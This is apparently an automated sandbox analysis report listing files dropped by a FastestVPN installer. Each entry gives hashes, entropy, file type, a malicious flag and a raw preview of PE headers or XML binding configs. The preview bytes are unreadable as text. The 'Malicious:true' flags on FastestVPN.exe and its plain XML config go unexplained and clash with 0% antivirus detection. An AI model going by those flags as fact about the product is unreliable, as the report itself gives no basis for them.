                                                                                                                Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. </runtime>..</configuration>

                                                                                                                C:\Program Files\FastestVPN\FastestVPN.Data.Local.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):25768
                                                                                                                Entropy (8bit):6.623350319992477
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:21Vrp7wobZBVBhB3GmLiVWgktWe9JHEDIYirwt0FP27NBY3Yuv+1WyT1g:21VV7TbXX72MtWQJHEsYi/K/Y/+1Wy5g
                                                                                                                MD5:D92BF2C8E0A192E18B1F0B24CCB75171
                                                                                                                SHA1:2A6343C3409172E1D426B763151E0CBA3B35E473
                                                                                                                SHA-256:BEED084878EACA4A745A53CC21FAAD1A76F4F82C955BB507496B5B9F23032F1C
                                                                                                                SHA-512:71AD4963BCEBE516FD9EE526F2DD1ECB13F10E1424D0D3CED08A19A38D902DA562C9B1D0E308C4B898E30187773F040CF6A437210EFEF52B957623F798E59459
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...R.s..........." ..0..2..........:Q... ...`....... ..............................I/....`..................................P..O....`...............:...*..........,P..8............................................ ............... ..H............text...@1... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................Q......H.......`(...'...........................................................0..M........r...p}.....r...p}.....(......{..... (....(....(......{..... (....(....(....*^~....-.s.........~....*..{....*"..}....*..{....*"..}....*..0..8........(........(.....(.....o....r...p(....o.......&..r...p*.*........--.......0..(.......(.....o........(.....(.......&..r...p*.*.................0..X........o.....[.&......+9...Z.o.... ....(........Z.X.o.... ....(......b`.......X...o.....[2..*.0..V...

                                                                                                                C:\Program Files\FastestVPN\FastestVPN.Data.Remote.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):29352
                                                                                                                Entropy (8bit):6.56368110636982
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:vT6rilChUvVsYQTJMS6V4B6PYikK/Y/+V7:7qSsYOwP7kK/77
                                                                                                                MD5:1CFBF0CBA3C87653D9639ADA438C3291
                                                                                                                SHA1:07E36A34319EAD85857CC022E277B69EA132750B
                                                                                                                SHA-256:3525FCE82E2687D8EFAF992147B196881818856EA9EA851A8DC930751329A8DD
                                                                                                                SHA-512:E95FC978E889BD62E92975EFD8F39161B6E43FE97451068552E3A71635943F990E4E8697323794D75F77BB12F3DE4E2CFADB5B9D80EF90F1992C82298EBFD00B
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...t.i..........." ..0..@...........^... ...`....... ....................................`.................................:^..O....`...............H...*..........|]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc........`.......B..............@..@.reloc...............F..............@..B................n^......H........1...+............................................................{....*:.(......}....*..0..)........u..........,.(.....{.....{....o....*.*.*v .5Q' )UU.Z(.....{....o....X*..0..:........r...p......%..{.......%q.........-.&.+.......o.....(....*..{....*:.(......}....*....0..)........u..........,.(.....{.....{....o....*.*.*v . .q )UU.Z(.....{....o....X*..0..:........r-..p......%..{.......%q.........-.&.+.......o.....(....*..{....*..{....*V.(......}......}....*.0..A.......

                                                                                                                C:\Program Files\FastestVPN\FastestVPN.Data.Remote.dll.config (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):432
                                                                                                                Entropy (8bit):5.0141792226861375
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:MMHdGzNFF7ap+5v5OXrRf/2//FicYo4xT:JduPF7NhOXrRH2/d9y
                                                                                                                MD5:8F6EB9E75E6A6F0C0D58FB697C10CEDF
                                                                                                                SHA1:6944935DFDC33E0C6DB26869BF25EDA85A2622D8
                                                                                                                SHA-256:E2B8677434501735FB0233ED0CC2FFEE5BF6FB4387C51DBCB2585A70E42E4F08
                                                                                                                SHA-512:A946252B2E3705EAE751A2672D4ADE1499ECEB28C48B4BE6150C4201EE20A7B9A4450C75E06B07F5DAA3528041A566931D988FBD0C2EA90240D61008895BA44A
                                                                                                                Malicious:false
                                                                                                                Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. </runtime>..</configuration>

                                                                                                                C:\Program Files\FastestVPN\FastestVPN.Diagnostics.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):19624
                                                                                                                Entropy (8bit):6.761472837087098
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:pwG3NNuGs7lkviba8FLdwIYieB0FP27NBY3Yuv+4pdS:F+V7PpFLdZYixK/Y/+4S
                                                                                                                MD5:12A69C58D97C26D0132D493111E42345
                                                                                                                SHA1:0DCC8570C7D76B660746A0F657607864F8764AD4
                                                                                                                SHA-256:E6682B67F0C489BEB53C93C399D46CEAEBDD7096AD7DB984BF99DCC68E476F4C
                                                                                                                SHA-512:3335371222BB282C55F1309432CD776CD146EFA9B6D17BF23997EFA6E3A741512FD95B9382EB719F400C6A70BD13E6A445A6011716B4C7637CF1083C8D669BE6
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..............8... ...@....... ...............................P....`.................................j8..O....@..............."...*...`.......7..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................8......H.......L'..`............................................................0..?.........(....}.......}.......}.......}......|......(...+..|....(....*..0..7.........(....}.......}.......}......|......(...+..|....(....*..0../.........(....}.......}......|......(...+..|....(....*..0..7.........(....}.......}.......}......|......(...+..|....(....*6..(...+(....*..(....*..(....*..{..........%..#...(.....%..!...(.....(.....(....*.0..e........{......E....8............(....o ......(!...

                                                                                                                C:\Program Files\FastestVPN\FastestVPN.Diagnostics.dll.config (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1192
                                                                                                                Entropy (8bit):5.059106104983516
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24:JduPF7NV+TkH2/17zVVXBOH2/17zVQ7uH2/XVUrPH2/+C9y:327Gwg1BOg1SagXSg+Cw
                                                                                                                MD5:66373624F8B60F41B8FEC0E61779C0AC
                                                                                                                SHA1:0D3BE3C009F0A2260F89C3FBC9FFEBA0061C17F2
                                                                                                                SHA-256:FE0A5830D875B8BD0864BF4F85705D4F2E3D7A575C07B2B5A18041558DBA1386
                                                                                                                SHA-512:74F084B2697F936122E371042FEF5740BF205914B3FA276F8F7C72561680BF2C39A7DD2970BDEDF36AACC20970CD9552A719211F30090881E498815D91C6CDD0
                                                                                                                Malicious:false
                                                                                                                Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="SQLitePCLRaw.core" publicKeyToken="1488e028ca7ab535" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-2.1.6.2060" newVersion="2.1.6.2060" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="SQLitePCLRaw.batteries_v2" publicKeyToken="8226ea5df37bcae9" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-2.1.6.2060" newVersion="2.1.6.2060" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="System.Memory" publicKeyToken="cc7b13ffc

                                                                                                                C:\Program Files\FastestVPN\FastestVPN.ViewModel.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):124072
                                                                                                                Entropy (8bit):6.169344446608534
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:LurAkSCDvkOtt+niUnQY8/LFEMnK8VQW5K/7:LJkSCDv+iUnQXLFEEM/7
                                                                                                                MD5:2DC3102392DAEF9B935CDF4939A9B132
                                                                                                                SHA1:F56261CE19BFC14F8317C2AA05F010E9ACFBCE02
                                                                                                                SHA-256:B6D9088505C220F23132D78675004BC31E0FB5C04257357C2B02072EF8C28DAD
                                                                                                                SHA-512:596AFAA1347CF730D2D0312857366EE3AD4C5C439E2F93BD6D38B29129C7B3530523B206FAEEF1DB3F6D9A18482162FF56321C9F1A1FA4F296F6B29AE8659321
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q............" ..0.................. ........... ....................... ......Q.....`.....................................O........................*..............8............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......d................................................................0...........s....%r...pr...po....%rk..pru..po....%r...pr...po....}......(....(...+o.....(...+o.......o....r!..p.o....(....}......o....}......o....}......o....}.....(....r%..p( ...-..(....re..p( ...,...}....*..}....*..{....*..{....*..{....*..{....*..{....*J.......s!...s:...*.~....%-.&~..........s!...%.....s:...*J.......s"...s#...*J.......s!...s:...*..0..........(...+o$.....E........9...^...*.r...pr...pr..

                                                                                                                C:\Program Files\FastestVPN\FastestVPN.ViewModel.dll.config (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):432
                                                                                                                Entropy (8bit):5.0141792226861375
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12:MMHdGzNFF7ap+5v5OXrRf/2//FicYo4xT:JduPF7NhOXrRH2/d9y
                                                                                                                MD5:8F6EB9E75E6A6F0C0D58FB697C10CEDF
                                                                                                                SHA1:6944935DFDC33E0C6DB26869BF25EDA85A2622D8
                                                                                                                SHA-256:E2B8677434501735FB0233ED0CC2FFEE5BF6FB4387C51DBCB2585A70E42E4F08
                                                                                                                SHA-512:A946252B2E3705EAE751A2672D4ADE1499ECEB28C48B4BE6150C4201EE20A7B9A4450C75E06B07F5DAA3528041A566931D988FBD0C2EA90240D61008895BA44A
                                                                                                                Malicious:false
                                                                                                                Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. </runtime>..</configuration>

                                                                                                                C:\Program Files\FastestVPN\FastestVPN.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):2059432
                                                                                                                Entropy (8bit):7.651137710710665
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24576:+3zNmj7tPN/PPINv2lYnvqfI1L3ciKKqjnTVlKJ+hgyiTebWmDXQHMkgXvYOdSYB:84vtPNvCv2Qqfobuvq+hqCTDgHMT
                                                                                                                MD5:01CF6EF766C41BB2C99A2CCCDECC69C1
                                                                                                                SHA1:8DD5EB983C1C8F2E3A2538E50295644BB778A69E
                                                                                                                SHA-256:9A9B95CA40D32FA23A615A122FA3AAF7AEB32FBEF2850D729F77C1169FFC0452
                                                                                                                SHA-512:9EE4D4D7852555F67CF0C9B372DCA87EC0727AB0A6FC5EAE309CF6BF5467FC75C6868A5E528D34AB605CDC736D30684D35A1451D4ABE3B99BA37D276474AC940
                                                                                                                Malicious:true
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....G............"...0......D........... ... ....@.. ...............................P ...`.................................^...O.... ...A...........B...*..............8............................................ ............... ..H............text........ ...................... ..`.rsrc....A... ...B..................@..@.reloc...............@..............@..B........................H.......DD..T`......-....... v...........................................0..O.......s....%.o....%.o ...%.o!...%..o".....o#........($........(%..._,...o&...(....*.*..(....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*...(.......(....(.......(....(.......(....(.....*.0..5........('...-..*.((.....o)...(*...(+...(,.......,..o-.....*............)........(....*2.(/...o0...*..(1...*.(2...*2.(....o3...*..(....o4...&.(.....o5....(.....o5....(....o6...&*2.(....o7

                                                                                                                C:\Program Files\FastestVPN\FastestVPN.exe.config (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                Category:dropped
                                                                                                                Size (bytes):1112
                                                                                                                Entropy (8bit):5.030466366630491
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24:JdArztW1oF7Nv+IcvH2/+GVTcvH2/+GVhOXrRH2/d9y:3Arzcq7h+Iag+GMg+G27Rgdw
                                                                                                                MD5:B94AE93769D64791440B3C36CC82AC69
                                                                                                                SHA1:E4AAAD9A0FB51051C8B25F768BC1563543F132C0
                                                                                                                SHA-256:432BFD182828A531147812566CB3439702A243BB7A4C45CC816192F9CB91D4A5
                                                                                                                SHA-512:AD978C59980C0194357D5070D53EA77C334493D14593C141B9DBEEF835FC688FD90C99236D687F50860FA7F4FD4125650E432A61EDF7917C77E4EE4E5E3D4E66
                                                                                                                Malicious:true
                                                                                                                Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup> .. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />.. </startup>.. <runtime>.. <legacyCorruptedStateExceptionsPolicy enabled="true" />.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Microsoft.Expression.Interactions" publicKeyToken="31bf3856ad364e35" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-4.5.0.0" newVersion="4.5.0.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="System.Windows.Interactivity" publicKeyToken="31bf3856ad364e35" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-4.5.0.0" newVersion="4.5.0.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0

                                                                                                                C:\Program Files\FastestVPN\Flurl.Http.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):117928
                                                                                                                Entropy (8bit):6.160360774488817
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:Hzne5lbC/VlCG2OWMMdWWbWbWw+Hfz+8lKbchOD07PQCFP1IYmDe/WAbBuhEK/a:HFO4WMMdWWbWbWw+Hfz+8lKbchOD07PP
                                                                                                                MD5:FDFDFE021B53B630939D27C6C90CB435
                                                                                                                SHA1:AA0987A6EA6987BB9930B9167EC31C249EF9D885
                                                                                                                SHA-256:D753A7EF62BABC2ADB5D1DBEB0BEBAA2B042CC01CC219726F32F761BBB0A711D
                                                                                                                SHA-512:1FD0C74D0ED3AC4DF26D3E95C0F133E8024D77D1FD06E0C76C630D6AAC7B81124AA1DCA7CFFAC43BC34252A057414F8C3F8EC63A805323B1EF892B5F6A277D3B
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....8............" ..0................. ........... ..............................U.....`.................................w...O........................*..............T............................................ ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.........................................................................{ ...*..{!...*V.(".....} .....}!...*...0..A........u........4.,/(#....{ ....{ ...o$...,.(%....{!....{!...o&...*.*.*. '.(k )UU.Z(#....{ ...o'...X )UU.Z(%....{!...o(...X*...0..b........r...p......%..{ ......%q.........-.&.+.......o)....%..{!......%q.........-.&.+.......o)....(*...*>..su...%.}^...*...0...........(+...,..*...(....o.....8t....o......-2.{,....{-.....g...%..".o.....(/...s0...sk....88....{,...r

                                                                                                                C:\Program Files\FastestVPN\Flurl.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):49320
                                                                                                                Entropy (8bit):6.325351798150663
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:Qmbo2ICFobV6wsLIcUIh/61jCouvi1Ys7ZYiG6K/Y/+Z:QmbrbU6ws0cGjCoei1Ys7Z7G6K/P
                                                                                                                MD5:C22900453EF4B917460ADEA7DE87225B
                                                                                                                SHA1:6878237656DA68C046FB95FAA8CAF3B4C719851B
                                                                                                                SHA-256:9AF8C8105093B7D62FC578DAE3497FF0AD796C9ABD638EB14269DED4270DFF96
                                                                                                                SHA-512:2E7D0EB99E2924FB375AAF8891968228193C65C133E362F66567C044E8B744ABC3A992EF7606644690D1BB81AD13A64A35D8107BDBDD9D5942BEA1DD1074EA3C
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0................. ........... ....................................`.................................p...O.......,................*..............T............................................ ............... ..H............text....... ...................... ..`.rsrc...,...........................@..@.reloc..............................@..B........................H........L...\............................................................{"...*..{#...*V.($.....}".....}#...*...0..A........u........4.,/(%....{"....{"...o&...,.('....{#....{#...o(...*.*.*. ?Y.. )UU.Z(%....{"...o)...X )UU.Z('....{#...o*...X*...0..b........r...p......%..{"......%q.........-.&.+.......o+....%..{#......%q.........-.&.+.......o+....(,...*..{-...*..{....*V.($.....}-.....}....*.0..A........u........4.,/(%....{-....{-...o&...,.('....{.....{....o(...*.*.*. (... )UU.

                                                                                                                C:\Program Files\FastestVPN\Hardcodet.NotifyIcon.Wpf.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):108200
                                                                                                                Entropy (8bit):7.332504567097915
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:Gn5VJM3T5szyxa9PuIKb8wmtyYVzH0cfNbQSi/GoP4YNjZ34A7GZK/ZIVQ:GWsEa9GIdyAUKWeYNl34AwK/ZV
                                                                                                                MD5:261A5044C94F318DEEA20D178ED9F36E
                                                                                                                SHA1:2A9704F70A543EE219481A3AA756A0CF151E1999
                                                                                                                SHA-256:D17E9B0C62C224D1BA56E7206D8A44FE382FE99752C511BA211A7725D83FEF43
                                                                                                                SHA-512:E53C320DBF6B2AAEEC01FE5AFF1FAD5A8D75B2483A78BA0E1B510F2A7A8C5C510ACD603541734F4A002748D0781FC11AFBF6967EBCDB41A6FC9A29C828ABC2A3
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l.g..........." ..0..p.............. ........... ....................................`.....................................O....................|...*..............p............................................ ............... ..H............text....n... ...p.................. ..`.rsrc................r..............@..@.reloc...............z..............@..B........................H........O..|w..................,.......................................V!.)1......s.........*...0..$........u......,...o....*.u......,...o....*.0..&........u......,....o ...*.u......,....o!...*...0..&........u......,....o"...*.u......,....o#...*B.(Y...-.(....*.*..{!...*"..}!...*>.{....o.......*.0..9........(*.....($.....(......,..o%...-..,..o&...-..,..o%...*.*.*....0...........s'...}.....((....(....-..s....+.(....}......{....o....(....}.....(!....{...........s)...o.....{....

                                                                                                                C:\Program Files\FastestVPN\Microsoft.AppCenter.Analytics.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):25976
                                                                                                                Entropy (8bit):6.331152456306087
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:Z90ljCvGQJ+GlfmER/asDZ0WN1L4meT6pmOW2ZZWeQMWMLHRN7S37EHR9zCt+:Z9EIGk+GlfmERxcFz2ZSCL+7Ex9zS+
                                                                                                                MD5:3C5DFBB4E3F1AD153EB2E203B56EA0AE
                                                                                                                SHA1:59623BF1D67D87264C165E421F12426DA998AF46
                                                                                                                SHA-256:9E8252429D0E6529B87A2C79A13119F4DF56ABE924949F3750B024C51D747378
                                                                                                                SHA-512:94DF20E98A2E5D7AC93B63EFEBCE4DAAFBF25AB6B4A2B76AF0BB46D9EDE102AC8C8E1147D5813CDB879AADD5A8AA4073FD0E6066286AF4EF4D368FAB983BE3B5
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....w............" ..0..4...........S... ...`....... ....................................`..................................S..O....`...............>..x'..........XR..T............................................ ............... ..H............text....3... ...4.................. ..`.rsrc........`.......6..............@..@.reloc...............<..............@..B.................S......H.......l,..l%...................Q........................................(....*.0..H.........~....,...~....*~..........(......~....%-.&s....%...........,..(......*........#<.......0..%.......~..........(...............,..(.....*....................0..........~..........(....(....o....(...+....,..(......*...........".......0..0.......~..........(....(.....o.....(...+....,..(......*.........$.......0..).......~..........(....(......o.......,..(.....*....................0..b...

                                                                                                                C:\Program Files\FastestVPN\Microsoft.AppCenter.Crashes.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):53624
                                                                                                                Entropy (8bit):6.18841715621451
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:768:mLtojuUUUbf/l0lwELEEEqi8g15qTLT5HGoV0weeezxSoL3G7Yl9zndG:mE17Iw8/i8gM5maee8SoL13zdG
                                                                                                                MD5:B7ABAF6A90E95E585E71C0C22D90AF73
                                                                                                                SHA1:C9756883D1738A9931D0BF58D6F69CBB8DFD5870
                                                                                                                SHA-256:3BA247FDCC6953B5CC672A361983B7B0AF3051A83128970BCEBAB22036D1E859
                                                                                                                SHA-512:3A67EF230A06FAE3095926EAD9AAF329009BC0F2ED6AA1E6683C426ADA29DDD9CB77EC3BE134DFC4CD10A1F675D518FB4986363C4FE649D4247770B96DBC7A56
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....#2..........." ..0.................. ........... ...............................0....`.....................................O.......................x'..........t...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........E...w..........................................................&...(....*2.r...p(....*V.(......}......}....*..{....*..{....*..{....*..(......}......}......}.......}.......}....*..{....*..{....*..{....*..{....*..{....*...0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...+...3.*..0..'.......~.........(....t............(...

                                                                                                                C:\Program Files\FastestVPN\Microsoft.AppCenter.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):147848
                                                                                                                Entropy (8bit):6.032707503792338
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:yiq8kuub1o2/5pds7tUMZNFxtPwVrHlGZ6U1SiWUwBpXtNpTE1MNniv:WFwzFQ9FGZ1SityhtNpTECU
                                                                                                                MD5:B6DB385295FA78A6AABCF217FD3C3F83
                                                                                                                SHA1:71E2A93223A6B8204EED6B9834284C0FA1D7EBD0
                                                                                                                SHA-256:ABF40F07643E6D29D0817021991F9D27410B7DCAEF80980D849634ACEF255BDC
                                                                                                                SHA-512:122FDB77C0AC6A7A2ECF5519BB059097EF119390E6D3C34F9FAB303D60279EE8649175617E3B6FC2A3D118B422CE8BC1BFFC208332D0A9F012271325AC0A0EE7
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....@..........." ..0..............1... ...@....... ..............................0b....`.................................71..O....@...................'...`.......0..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................k1......H.......8...d].................../.......................................0..s........r...p(......(....,.r...psK...z.rW..po....-.r[..pro..p(X....*s.....~.....o....o......+8..o....t.........o.....o ...o!.....o.....o ...o!...o".....o#...-.....u........,...o$.....r...po%...,.r[..pr...p(X....*.rS..po%...,.r[..prg..p(X....*~&....~&......o%...,.....o'...&..o%...,.....o'...&.(....,..(....,.r...p.r...p((...sK...z.(....-&.(....-.r...p.r%..p((.....r)..p.((.....*.......U.E........(....*.

                                                                                                                C:\Program Files\FastestVPN\Microsoft.AspNet.SignalR.Client.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):149896
                                                                                                                Entropy (8bit):6.136390335470081
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:PcRKLBm0ELV6Ra+eKBL24YzRk2XDuzEdnp+4WSspmfxPapkwN5RGV5xz/OEYW58R:qI0KRHeKBszRk2aApjsp7pBtZGh9
                                                                                                                MD5:70B1C15FDBBFB88F91965DC7BBC5527F
                                                                                                                SHA1:A473571DAC42819933CD7EF0C604F1EA0614D2F3
                                                                                                                SHA-256:109878A7A6F6BD13637B7E3A2EBC22D37423716ECD4E954CC09BACB84B92F62B
                                                                                                                SHA-512:C496EE2DDF6C401E9E48FB6D739C44200EBFE36B516E7608CECB3E32FEB620CE1531CC5DE26B1A4CD033C65FD002D6B6315B746CFB8B4D047A2954F6F33CA0A4
                                                                                                                Malicious:false
                                                                                                                Antivirus:
                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
